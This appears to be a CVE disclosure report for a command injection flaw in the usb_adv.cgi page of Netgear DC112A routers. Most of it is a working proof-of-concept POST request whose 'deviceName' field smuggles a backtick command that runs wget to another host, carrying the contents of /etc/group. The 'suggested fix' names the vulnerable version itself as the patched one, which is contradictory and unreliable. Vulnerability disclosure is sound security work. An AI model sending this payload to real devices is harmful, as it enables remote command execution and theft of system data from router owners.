CVE Report - Command Injection Vulnerability in Netgear DC112A_V1.0.0.64 Routers

Vulnerability Title

Command Injection Vulnerability in DC112A_V1.0.0.64 Routers

Vulnerability Description

Netgear DC112A_V1.0.0.64 devices have an OS command injection vulnerability in the usb_adv.cgi, which allows remote attackers to execute arbitrary commands via parameter "deviceName" passed to the binary through a POST request.

POC

```
POST /usb_adv.cgi?id=886362528 HTTP/1.1

Host: 192.168.1.1

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0)
Gecko/20100101 Firefox/113.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-
US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 303

Origin: http://192.168.1.1

Authorization: Basic YWRtaW46cGFzc3dvcmQ=
```

```
Connection: close

Referer: http://192.168.1.1/usb_adv.cgi?id=886362528

Upgrade-Insecure-Requests: 1



Apply=Apply&deviceName=`wget http://192.168.1.2:7777?$(cat
/etc/group)`&workGroup=Workgroup&enable_samba=enable_samba&enable_
http=enable_http&no_usb_device=1&sharefolderNum=0&usb_num=0&select
=0&action=advance&umountsucc=0&enable_apmode=1&enable_stamode=0&is
_https=1&router_smb_link_style=others&no_dlna=
```

Cause Analysis

Get the deviceName data passed in by the front end through the get_value function, after sprintf splicing, it is directly passed to system.

Suggested Fix

It is recommended to update to the version DC112A_V1.0.0.64 of router to fix this vulnerability.